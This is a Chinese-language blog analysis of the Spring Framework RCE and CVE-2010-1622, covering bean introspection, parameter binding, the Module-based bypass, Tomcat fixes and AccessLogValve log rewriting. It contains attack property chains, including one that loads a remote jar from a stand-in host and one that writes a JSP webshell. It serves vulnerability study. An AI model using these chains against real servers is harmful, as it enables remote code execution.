前言
在3.30号了解到spring framework有RCE时,在网上高强度冲浪了一波,大概得知漏洞的相关信息有以下关键词:
- JDK9+
- 和CVE-2010-1622利用方式类似,该洞具体的分析可以参考@Ruilin师傅的文章
- 和大多数网传的官方commit修改的
SerializationUtils#deserialize
无关
所以在还没拿到poc之前,我就先学了一波CVE-2010-1622
CVE-2010-1622
详细过程分析可以参考上面的文章,这里只提炼重要的部分
Java Bean内省机制
Spring IOC容器中有很多Java Bean。通过内省机制来解析获取Java Bean的属性、getter/setter、其他方法描述符。java.beans包中提供了Introspector#getBeanInfo(java.lang.Class<?>, java.lang.Class<?>, int)
来对Java Bean进行内省,参数如下:
- 参数1:beanClass,要内省的Java Bean类
- 参数2:stopClass,beanClass的一个父类,由于内省时也会获取继承于父类的属性或方法,若该参数不为null,则表示忽略stopClass内省的结果,并在此终止。比如下例中的Object.class参数,就会导致最终的内省结果不包括class这个属性,因为class属性是属于Object.class的。
- 参数3:控制内省的标志,默认是
USE_ALL_BEANINFO
,如果flags == IGNORE_IMMEDIATE_BEANINFO,则忽略与指定beanClass关联的任何BeanInfo。 如果flags == IGNORE_ALL_BEANINFO,则忽略与指定beanClass或其任何父类关联的所有BeanInfo。
1 | BeanInfo info = Introspector.getBeanInfo(Test.class); |
前三个都是通过反射进行的内省,重点关注一下属性的内省方式:通过前面内省出来的getter(isXxx/getXxx)来内省属性,而不是通过反射的getField,这和Fastjson也挺像的,即使定义中不存在age属性,但是存在满足一定规范的getter或者setter方法,那么age也会被认为是一个属性。比如要想内省出age属性,则必须有以下之一
1 | isAge() |
Spring参数绑定
熟悉SpringMVC处理流程的话,大致调用过程如下:
在org.springframework.web.method.support.InvocableHandlerMethod#invokeForRequest
方法中会调用getMethodArgumentValues
来处理参数,处理完参数之后才会反射调用对应Controller的方法。
而参数处理交由实现了HandlerMethodArgumentResolver接口的各种参数解析器来处理,在HandlerMethodArgumentResolverComposite#getArgumentResolver
方法中选择最佳的参数解析器。而对于参数绑定功能,使用的参数解析器是ServletModelAttributeMethodProcessor,其supportsParameter
定义了参数有@ModelAttribute
注解且参数不是SimpleValueType
这些类型时,使用该解析器来解析
参数解析从ModelAttributeMethodProcessor#resolveArgument
开始,其中会调用WebDataBinder#bind方法进行参数绑定。大致过程如下:
这里直接跟进到关键的方法AbstractPropertyAccessor#setPropertyValues
,该方法循环调用setPropertyValue
方法来解析处理每一个待绑定的参数值,比如一个POJO对象Parent,其有一个类型为Child的属性child,Child有一个属性age,那么当一个控制器方法的参数是Parent parent
时,我们post传入child.age=1
,其实就相当于调用parent.getChild().setAge(1)
,而参数绑定的过程就是最终要实现这样的调用。
简单看一下如何实现,setPropertyValue
进行参数绑定主要分为两个过程,以propertyName(后文都称之为属性链)为child.age
- 获取对象:
getPropertyAccessorForPropertyPath(propertyName);
。也就是parent.getChild()
- 设置对象的相应属性值:
setPropertyValue(tokens, pv)
。也就是child.setAge(1)
getPropertyAccessorForPropertyPath
先看获取对象的过程。以.
为属性分割,递归调用getPropertyAccessorForPropertyPath
来处理,每一层的对象都被封装为AbstractNestablePropertyAccessor
,该接口常用的实现类是BeanWrapperImpl
,而每一层Java Bean都是在应用(容器)启动/请求到来时(取决于loadOnStartup)就早已经实例好放在IOC容器中了,所以这里只是根据属性名和rootObject(参数类型的实例)并通过内省机制得到getter,再从IOC中取出对应的BeanWrapperImpl。所以对于每一层的Java Bean,其属性都是有默认值的,所以getter才能够顺利获取到。
调用getNestedPropertyAccessor
获取每一层封装的过程其实就是前面所说的内省,具体会调用getPropertyValue
来处理
进一步跟进getLocalPropertyHandler
,会调用getCachedIntrospectionResults
获取内省缓存,如果没有缓存,则调用CachedIntrospectionResults.forClass
获取
实际在CachedIntrospectionResults
的构造方法中完成内省
这里对内省的属性还有限制,如果beanClass是Class.class且属性是classLoader
或protectionDomain
,则忽略,这里就是CVE-2010-1622在spring层面的修复方案,也是这次Spring Framework RCE能够bypass的地方。
内省完之后回到getLocalPropertyHandler
,然后调用getPropertyDescriptor
来获取相应的属性,并封装在BeanPropertyHandler
中,主要是保存了属性本身,以及getter和setter方法,最后就针对不同的情况调用getter来获取属性值,然后返回,递归的处理属性值。
setPropertyValue(tokens, pv)
拿到最终的对象后,即parent.getChild()
,退出递归回到setPropertyValue,然后调用setPropertyValue(tokens,pv)
来设置属性值。
该方法分两种情况来处理
- processKeyedProperty:处理带有”key”的属性链,类似
child.age[0]=1
,child.age["a"]=1
- processLocalProperty:处理不带有”key”的,直接调用属性的setter方法,如果没有setter方法则异常
先看一下processLocalProperty
,至于第一种,在下面小节的变量覆盖中再说。在setter设置值之前,会先对值进行convert,因为post http传进来的都会被视为String,因此会根据实际的属性类型调用相应的converter进行类型转换,如果没有相应的converter,设置值也会失败。由ConversionService
接口实现该功能,可以自定义,spring中标准实现是GenericConversionService,其中有很多的Converter,会选取最合适的Converter来处理。而我们这里选择的肯定是StringToXxxConverter
。
变量覆盖
再来看一下processKeyedProperty
的情况为什么会出现变量覆盖问题,这里新增一个属性String[] names
用于测试,传入names[0]="diggid"
。先给出结论:
- 属性是数组、List、Map
- 属性有getter方法,不需要setter方法
关注三个红框:
- 第一个红框调用
getPropertyHoldingValue
获取属性当前值,底层是调用的getPropertyHoldingValue
,因此需要有getter,否则会报错。 - 第二个红框是自动扩容,如果index超出了初始化的大小,不会报错,而是自动递增
- 第三个红框是关键点,也就是变量覆盖的地方,其直接调用
Array.set
进行赋值,没有任何检查,直接可以覆盖任何index处的值,对于List和Map也是类似。
而这次漏洞点就在于此,使用如下属性链
1 | class.classLoader.URLs[0]=jar:http://127.0.0.1:8000/exp.jar!/ |
在非内嵌的tomcat中相当于调用
1 | Array.set(pojo.getClass().getClassLoader().getURLs(), 0, "jar:http://127.0.0.1:8000/exp.jar!/") |
而非内嵌的tomcat使用的是WebappClassLoaderBase
这个ClassLoader,这个ClassLoader中放了resources(StandardRoot),熟悉tomcat的师傅们肯定知道StandardRoot用来进行资源管理,包括WEB-INF/lib
等,一个StandardContext对应着一个StandardRoot,且StandardRoot也保存了context。所以我们可以拿到StandardContext,那这样玩法就可以开发了,下面先提一个利用方式,后面研究出新的再慢慢补充。
Spring Framework RCE
前面说了那么多,现在来分析这个就很简单了,只是玩法的挖掘。先来看看官方通告
这里官方很贴心的告诉了我们这次漏洞利用的前提条件,简单解读一下
前提条件
JDK9+
这个是针对的CVE-2010-1622的绕过,JDK9+引入了模块系统,即Module
类,具体的介绍https://juejin.cn/post/6844903501311524871
Module类中有一个属性loader
,且配有getClassLoader
方法,和Class一样,都是为了获取加载该模块/类的ClassLoader,具体细节差异不深究。而Class包含在某个Module当中,可以调用getModule
来获取
因此可以通过以下属性链来bypass,因为前面还有一个条件是beanClass是Class,而这里是Module。
1 | class.module.classLoader |
War or Jar
关键点在in contrast to a Spring Boot executable jar
,也就是说,使用springboot的常规部署方式是不受影响的,这在我一开始复现的时候也出现了这个问题。关键点还是classloader
是哪个:
- tomcat war:使用这种方式部署的,由于tomcat自实现了类加载器,加载webapp里面的lib和class使用的classloader是WebappClassLoaderBase的子类。
- springboot jar:springboot有三种方式运行,在IDEA中,使用的是jdk的AppClassLoader;以fatjar或解压目录的形式运行,使用的是org.springframework.boot.loader.LaunchedURLClassLoader,其urls是fat jar里的
BOOT-INF/classes!/
目录和BOOT-INF/lib
里的所有jar。运行fatjar时,jvm先使用系统类加载器加载fatjar,而fatjar里面的jar是用LaunchedURLClassLoader来加载的。
所以在前面我们说到了通过WebappClassLoaderBase获取StandardContext
的利用方式,对springboot就不生效。
玩法
其实通过属性链的方式去设置/覆盖某些值,可以类比为JMX安全问题之利用特殊的MBean,因此在tomcat下有很多姿势。这里就写一些我知道的,欢迎师傅们补充思路。相关的属性链Gadgets可以在这里找到https://github.com/julianvilas/rooted2k15/blob/a00055f906/struts-tester/results/struts2-tomcat8-debug.txt
AccessLog写webshell
可以在webapps/ROOT/shell[1-5].jsp下写入User-Agent中可控的内容
1 | post |
一层层分析一下
- StandardContext:通过以下属性链可以拿到StandardContext,且是针对当前请求的容器的context,即
StandardEngine[Catalina].StandardHost[localhost].StandardContext[]
1 | class.module.classLoader.resources.context |
- StandardHost:拿到context通过parent属性可以继续向上拿到容器的父容器,即名为
localhost
的StandardHost,该容器的处理范围是localhost的所有wabapps
1 | class.module.classLoader.resources.context.parent |
- Pipeline:tomcat每个容器中都配备一个pipeline,每个pipeline上有很多有顺序的Valve在不同的层级上对请求前/响应后进行处理,比如记录日志等。
1 | class.module.classLoader.resources.context.parent.pipeline |
- AccessLogValve:StandardHost的pipeline的第一个的Valve是
AccessLogValve
1 | class.module.classLoader.resources.context.parent.pipeline.first |
拿到了AccessLogValve
之后,我们可以通过设置pattern
来修改日志记录的格式、设置directory prefix fileDateFormat suffix
来修改日志文件的位置
日志支持以下格式
看一下AccessLogValve将信息写入日志文件的整个工作流程,这一步分析很重要,和fileDateFormat
属性有关。在org.apache.catalina.connector.CoyoteAdapter#service
方法中,先调用以下代码来处理请求
1 | connector.getService().getContainer().getPipeline().getFirst().invoke( |
虽然StandardHost的第一个Valve是AccessLogValve,但AccessLogValve#invoke方法不会做任何的处理,而是等到响应完后再进行日志记录
可以看到,正常响应下和响应错误时都会记录日志。先跟进context.logAccess
方法,由于Context中没有AccessLogValve
,会委托给父容器的来处理,而StandardHost中有AccessLogValve
跟进getAccessLog方法,可以看到会从pipeline的所有valve中获取AccessLog并缓存,那这里就有一个问题,既然已经缓存了,那我们后面修改AccessLogValve,如何能够赋值到accessLog
变量中呢,也就是说,在哪里accessLogScanComplete会变为false呢?继续往后看
获取到accessLog之后调用log
方法,继续跟进AbstractAccessLogValve#log
调用AccessLogElement#addElement
方法来根据日志格式pattern获取日志的内容,由于pattern被设置为了%{User-Agent}i
,所以会从UA中拿日志内容,然后调用log去写日志
重点就在这rotate()
的方法,如果dateStamp
和tsDate
不相等的话,就会调用open
方法,而open方法主要用于重设writer,即根据我们前面修改的directory、prefix、suffix、fileDateFormat去设置新的日志文件位置,并封装在PrintWriter中,所以要想让access log更新,dateStamp和tsData必须不等。而dataStamp是上一个tsDate,如果默认为修改时间格式的话,就是.yyyy-MM-dd
,所以我们只需要让fileDateFormat变成一个新的时间格式,就可以使得tsDate = fileDateFormatter.format(new Date(systime));
获取到的tsDate和dateStamp不等。支持的时间格式有,这里选择传入fileDateFormat=W
,故范围是[1-5]
,所以最终的shell名是shell[1-5].jsp
,因此如果我们想再次更换webshell的位置,还需要改变fileDateFormat
1 | G Era designator (before christ, after christ) |
最后调用writer#write/flush
方法将日志信息写入日志文件,最终访问shell执行命令成功
保存session写webshell
修复
Tomcat和Spring都做出了修复
- Tomcat:
WebappClassLoaderBase#getResources
方法直接返回null,在10.1.x版本后也会直接删除该方法,阻断了我们获取StandardRoot
- Spring:更新了CVE-2010-1622对于属性的限制。对于Class,只允许获取name相关的属性,对于所有类,禁止获取ClassLoader和ProtectionDomain,因此如果还想bypass的话,需要再找其他的属性链了